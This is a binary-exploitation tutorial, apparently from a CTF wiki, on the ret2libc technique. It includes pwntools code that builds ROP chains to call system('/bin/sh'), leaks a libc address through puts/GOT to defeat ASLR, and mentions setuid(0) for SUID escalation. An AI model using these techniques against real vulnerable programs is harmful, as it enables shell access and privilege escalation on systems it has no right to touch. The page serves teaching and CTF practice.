ret2libc

Using a buffer overflow to call the libc system("/bin/sh") function

Theory

The idea of ret2libc is returning to a function defined in the libc library. A common one is the system() function allowing you to execute shell commands and with the "/bin/sh" argument an interactive system shell. Just like calling a function with arguments as in ret2win, we jump to this system() function with a string argument found in the same libc binary.

This technique is really useful when there is no win() function to jump to, as this system() function is essentially the same as a win function, but not specific to any binary.

Exploit

To call a function with a string argument, we need two things. The address of the function, and the address to the string that will be the argument.

If ASLR is disabled, this first part is simple. We just need the address of the system() function which can be found if we have a copy of the libc binary the remote server uses. It may be given in the challenge, or it may not. If it is not given, you can try to find it by leaking addresses as explained later in Bypassing ASLR and looking them up in the libc database to find any matches.

Then we need the string, which can be easily found using PwnTools. Every libc version has a "/bin/sh" string inside by default, which we can abuse. The code will look something like this:

libc = ELF("./libc.so.6")

rop = ROP(libc)
#rop.call(rop.ret)  # Might be needed to align the stack (try with/without)
rop.system(next(libc.search(b"/bin/sh")))  # Find the "/bin/sh" string and call system()
rop.exit()  # Clean exit after stopping the shell

payload = flat({
    OFFSET: rop.chain()
})

After sending the payload, you can get a nice interactive shell with the p.interactive() function:

p.sendline(payload)  # Trigger shell

p.interactive()  # Make shell interactive in terminal
...
rop.setuid(0)  # Set to the UID of the owner of the SUID binary
rop.system(...

Is ASLR enabled?

Most often Address Space Layout Randomization (ASLR) is enabled on the remote machine (and likely yours too). You can check if it is by reading the /proc/sys/kernel/randomize_va_space file:

  • 0: Disables ASLR. In this mode, the kernel does not randomize the location of the stack, shared libraries, or executable code.

  • 1: Enables ASLR for user-space applications only. The kernel randomizes the location of the stack, shared libraries, and executable code for user-space applications.

  • 2: Enables ASLR for all processes, including the kernel itself. In addition to randomizing the location of user-space applications, the kernel also randomizes the location of the kernel stack, heap, and other kernel components.

Only root should be able to write to this file and change the setting. When enabled, it makes many loaded addresses randomized on each binary run, making it impossible to guess beforehand what they will be.

If you don't have access to the machine to read this file, another way to check is just to test if you can jump somewhere you know. For example, simply jumping to the start of main() to see if the program restarts on the remote instance. If it successfully repeats the main function, ASLR is likely off which will make any exploit much simpler. If it crashes, or just closes the connection, it likely jumped to an invalid address and segfaulted.

Bypassing ASLR

Simply jumping to the system() function won't work here, because we need to know what randomized address to jump to. But to make it work again, we simply need to leak any libc address, because all the addresses will still be the same relative to each other. Leaking such an address can be done in a few different ways, but one common method is using the Procedure Linkage Table (PLT) and the Global Offset Table (GOT).

We want to somehow leak the address of any libc function, which can be done by printing the value. If the original binary uses any puts(), printf() or similar functions, those functions will be saved in the PLT. The address to this table is not randomized by ASLR, so we can use it to print the value at any address we want. The GOT just happens to store the randomized addresses to used libc functions, which can be printed using this method. The code looks something like this:

elf = ELF("./binary")

rop = ROP(elf)
rop.puts(elf.got["puts"])

This would print some binary data being the leaked address to the libc puts() function, but then it likely crashes the program because we corrupted the flow. But since we control the return addresses, we can simply restart the program after we leaked the address, now with the knowledge of this leaked address!

rop = ROP(elf)
rop.puts(elf.got["puts"])
rop.main()

payload = flat({
    OFFSET: rop.chain()
})

After sending this payload, the first bytes you will receive are the address we are looking for. After that, the program restarts and we can do the buffer overflow again but now having bypassed ASLR by leaking a libc address. We can extract the address from the printed binary data like so:

p.sendline(payload)

# Note: Try some different things here locally for your program to find a consistent 
#       way to extract the address. Here the first 6 bytes are taken
r = p.recv(6)
leak = u64(r.ljust(8, b"\x00"))  # Unpack data
success("Leaked puts(): %#x", leak)

Finally, now that we have leaked the address we can calculate the relative offset with where the puts() function would normally be in libc:

libc = ELF("./libc.so.6")

libc.address = leak - libc.symbols["puts"]

The above line of code will set the base address of libc making any future calls like rop.system() work automatically.

As the program restarts, now it becomes the same as in Exploit. We just need to call the system() function with the "/bin/sh" string:

rop = ROP(libc)
rop.call(rop.ret)  # Align the stack for 64-bit
rop.system(next(libc.search(b"/bin/sh")))  # Find the "/bin/sh" string and call system()
rop.exit()  # Clean exit after stopping the shell

payload = flat({
    OFFSET: rop.chain()
})
p.sendline(payload)
p.interactive()

Notice the rop.call(rop.ret) instruction, which is needed to call the system() function after corrupting the stack as we did. The reason for this is that a movaps instruction requires the stack pointer (rsp) to be 16-bit aligned, which is normally guaranteed by the compiler. In our exploit, we return directly to the function, pop'ing one value from the stack, bringing its last hex digit from 0 (aligned) to 8 (misaligned). By adding one more ret instruction before, we pop another return pointer from the stack, aligning it back to 0 and allowing the system() call to work as expected.

Putting it all together results in an example script like the following:

Last updated